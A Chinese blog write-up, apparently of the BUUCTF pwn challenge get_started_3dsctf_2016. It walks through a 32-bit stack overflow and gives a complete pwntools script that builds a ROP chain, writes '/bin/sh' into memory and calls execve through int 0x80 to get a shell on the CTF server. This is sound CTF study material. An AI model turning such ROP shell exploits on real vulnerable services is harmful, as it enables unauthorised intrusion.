【Pwn】get_started_3dsctf_2016

这是一个有点难度的题目,反正我是后面去看师傅们的wp了。。。这个题目听大家讲本地的和远程的exp居然还是有差别的

首先拿到文件,开始老三样查看

在这里插入图片描述
主要看在哪个平台:32位还是64位,还有就是有没有canary,如果有的话一般来说都不会是栈溢出攻击的题目

然后拖进ida
在这里插入图片描述
这个可以看出真的是一个栈溢出攻击
我们还可以看到get_flag函数
在这里插入图片描述
看出来是直接进行溢出到第8行地址就行。

但是注意,可能是由于这题目远程的时候一些奇妙问题,在我们使用远程的时候没有正常退出会导致出错,无法获取回显。所以我们要使用exit()函数作为返回函数,在结束了get_flag函数之后就立即调用exit()。这样就属于是正常退出了。

今天我想学一下师傅们的其他技巧,

系统调用

execve("/bin/sh",NULL,NULL)

这个函数在32位系统中使用方式是这样的:

  • eax寄存器存储系统调用号,execve函数的系统调用号是0xb
  • ebx存第一个参数"/bin/sh"
  • ecx存0
  • edx存0

在系统调用中我们把int 0x80 这个数当作一个函数来调用,所以我们的exp如下:

from pwn import *
							

io=remote('node4.buuoj.cn','25395')#连接远程靶机

pop_eax = 0x080b91e6 
int_80 =0x0806d7e5
str_got = 0x080EB020
mov_eax_to_edx = 0x080557ab
pop_edx_ecx_ebx = 0x0806fc30

payload = b'a'*56 + p32(pop_eax) + b'/bin'+ p32(pop_edx_ecx_ebx) + p32(str_got)+p32(0)+p32(0) + p32(mov_eax_to_edx) 
payload += p32(pop_eax) + b'/sh\x00'+p32(pop_edx_ecx_ebx) + p32(str_got+0x4)+p32(0)+p32(0)  + p32(mov_eax_to_edx)  
payload += p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(str_got)+p32(int_80)



io.sendline(payload)
io.interactive() 

不知道为什么这里的必须使用pop_edx_ecx_ebx来进行对edx的覆盖,不能仅仅只使用类似pop_edx的代码,我研究了很久但是还是不知道为什么会是这个样子

利用mprotect函数

这个我太懒了哈哈哈懒得写了,下次我有机会的时候再复现一下,只知道是用mprotecr函数改了内存什么地方,变成了可执行区域,然后向那个地方写了shellcode,然后再跳过去了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值